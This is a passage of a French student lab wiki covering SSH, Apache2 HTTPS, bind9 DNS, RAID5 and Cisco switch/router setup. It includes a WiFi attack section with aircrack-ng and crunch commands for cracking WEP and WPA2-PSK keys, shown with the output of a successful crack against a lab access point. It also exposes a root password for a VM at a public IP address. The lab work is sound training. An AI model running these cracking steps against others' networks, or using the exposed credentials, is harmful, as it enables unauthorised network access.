 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
Gestion des certificats &lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl &lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
